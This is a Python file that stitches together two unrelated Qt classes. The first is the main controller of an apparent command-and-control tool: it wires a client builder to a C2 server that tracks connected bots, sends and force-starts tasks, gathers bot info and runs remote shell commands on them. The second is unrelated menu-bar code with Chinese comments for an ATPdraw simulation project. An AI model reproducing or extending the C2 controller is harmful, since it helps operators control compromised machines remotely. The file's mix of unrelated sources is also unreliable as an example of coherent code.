class Main(QObject): def __init__(self, args): super(Main, self).__init__(None) self.logger = logging.getLogger(self.__class__.__name__) self.start_gui = not args.nogui self.gui = None self.builder = ClientBuilder() self.gui_server = GUIServer() self.c2server = C2Server() self.config_manager = ConfigManager() if args.reset: self.config_manager.delete_config() if args.remote: self.gui = MainWindow() self.gui.setup_connect_dialog() else: config = self.config_manager.load() if config: self.read_config_file(config) else: self.start_first_setup() @Slot() def start_first_setup(self): """Start GUI server with no config file.""" gui_ip, gui_port, gui_key = self.gui_server.start_setup() self.gui_server.save_config.connect(self.config_manager.save) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.setup_options.connect(self.config_manager.on_gui_server_get_setup_options) self.gui_server.connected.connect(self.gui_server.on_connected_no_config) self.gui_server.close_app.connect(self.exit) self.config_manager.config_error.connect(self.gui_server.on_config_error) self.config_manager.config_saved.connect(self.gui_server.on_config_saved) self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.validation_error.connect(self.gui_server.on_config_validation_error) self.config_manager.setup_options.connect(self.gui_server.on_setup_options) self.gui_server.start(gui_ip, gui_port, gui_key) self.logger.info("To start remote first setup, connect to {}:{} using key: {}".format(gui_ip, gui_port, gui_key.decode())) if self.start_gui: self.gui = MainWindow(local=True) self.gui.setup_cancelled.connect(self.exit) self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key.decode()) @Slot(dict) def read_config_file(self, config: dict): """Start GUI and C2 server.""" self.logger.info("Configuration files found") gui_ip, gui_port, gui_key = config.get("gui_ip"), config.get("gui_port"), config.get("gui_key").encode() self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.available_tasks.connect(self.gui_server.on_get_tasks) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.close_app.connect(self.exit) self.gui_server.stop_task.connect(self.c2server.stop_task) self.gui_server.start_task.connect(self.c2server.send_task) self.gui_server.get_tasks.connect(self.config_manager.on_gui_server_get_tasks) self.gui_server.force_start_task.connect(self.c2server.force_start_task) self.builder.build_error.connect(self.gui_server.on_build_error) self.builder.build_stopped.connect(self.gui_server.on_build_stopped) self.builder.build_options.connect(self.gui_server.on_build_options) self.builder.build_finished.connect(self.gui_server.on_build_finished) self.builder.generator_progress.connect(self.gui_server.on_generator_progress) self.builder.generator_finished.connect(self.gui_server.on_generator_finished) self.builder.generator_started.connect(self.gui_server.on_generator_started) self.gui_server.build_options.connect(self.builder.get_options) self.gui_server.build_stop.connect(self.builder.stop) self.gui_server.build_start.connect(self.builder.start) self.logger.info("Starting GUI server") self.gui_server.start(gui_ip, gui_port, gui_key) self.c2server.connected.connect(self.on_bot_connected) self.c2server.disconnected.connect(self.gui_server.on_bot_disconnected) self.c2server.task.connect(self.gui_server.on_bot_task) self.c2server.info.connect(self.gui_server.on_bot_info) self.c2server.log.connect(self.gui_server.on_bot_log) self.c2server.shell_output.connect(self.gui_server.on_shell_output) self.c2server.shell_error.connect(self.gui_server.on_shell_error) self.gui_server.run_shell.connect(self.c2server.run_shell) self.logger.info("Starting C2 server") self.c2server.start(config.get("c2_ip"), config.get("c2_port"), config.get("c2_key").encode()) if self.start_gui: self.gui = MainWindow(local=True) self.gui.show() self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key) @Slot(Bot, str, int) def on_bot_connected(self, bot, ip, port): """Get basic informations from client.""" infos = self.config_manager.value("after_connection_infos") self.c2server.send_info(bot, infos) self.gui_server.on_bot_connected(bot, ip, port) @Slot(Signal) def connect_log_signal(self, signal): signal.connect(self.gui_server.on_log_signal) @Slot() def close(self): """Gracefully close server and GUI""" self.logger.info("Closing application...") if self.c2server: self.c2server.close() self.c2server.wait() if self.gui_server: self.gui_server.close() self.gui_server.wait() if self.gui: self.gui.close() @Slot() def exit(self): self.close() QApplication.instance().exit()
class MenuBar(QMainWindow, Ui_ATPMainWindow): def __init__(self, filePath): # 窗体创建 super(MenuBar, self).__init__() self.setupUi(self) self.mainWindow = None self.ADP_filePath = filePath work_area = win32api.GetMonitorInfo(win32api.MonitorFromPoint( (0, 0))).get("Work") self.monitor_width = work_area[2] - 20 self.monitor_height = work_area[3] # self.setGeometry(0, 0, self.monitor_width, 25) self.resize(self.monitor_width, 25) self.move(0, 0) # mainWindow是否被打开 self.is_mainWindow_showed = False # 菜单栏事件 self.actionupdateATP.triggered.connect(self.updateATP) self.actionrunATP.triggered.connect(self.runATP) self.actionloadADP.triggered.connect(self.load_new_project) def load_new_project(self): file = QFileDialog.getOpenFileName(self, "选取项目文件", '', 'ADP or ACP Files(*.adp *.acp)') if not file: return path = str(file[0]) # 选中后 if path: # 处理存储最近项目的txt文件 item_list = RecentItemRW.read_recent_items() count = len(item_list) if count == 0: item_list.append(path) else: if item_list[count - 1] != path: if count == 6: del item_list[0] item_list.append(path) button = QMessageBox.question( self, "Question", self.tr("是否打开新项目替代当前项目(选择Cancel新建窗口)"), QMessageBox.Ok | QMessageBox.Cancel, QMessageBox.Ok) if button == QMessageBox.Ok: # 接口 刷新当前界面 self.mainWindow.loadProject(path) # 调整ATPdraw大小 self.showATPdraw() elif button == QMessageBox.Cancel: self.newItem_menuBar = MenuBar(path) self.newItem_menuBar.show() self.newItem_menuBar.showMainWindow() self.newItem_menuBar.showATPdraw() # 调用mainwindow的runAtp函数 def runATP(self): if self.mainWindow: self.mainWindow.on_atp_run_clicked() # 调用mainwindow的updateAtp函数 def updateATP(self): if self.mainWindow: self.mainWindow.on_atp_update_clicked() def showMainWindow(self): if not self.is_mainWindow_showed and self.ADP_filePath: self.mainWindow = MainWindow(self.ADP_filePath) leftEdge = self.monitor_width - 640 topEdge = self.frameGeometry().y() + self.frameGeometry().height() width = 640 height = self.monitor_height - self.geometry().height() - 45 self.mainWindow.setGeometry(leftEdge, topEdge, width, height) self.mainWindow.setWindowFlags(Qt.FramelessWindowHint) self.mainWindow.show() self.is_mainWindow_showed = True def showATPdraw(self): topEdge = int(self.geometry().y() + self.geometry().height() + 5) + 4 leftEdge = 0 width = int(self.monitor_width - 640) height = int(self.monitor_height - self.geometry().height() - 45) # 需要一个接口来控制atpdraw的位置大小 self.mainWindow.modify_ATPDRaw_size(leftEdge, topEdge, width, height) def closeEvent(self, *args, **kwargs): if self.is_mainWindow_showed: self.mainWindow.close() self.close()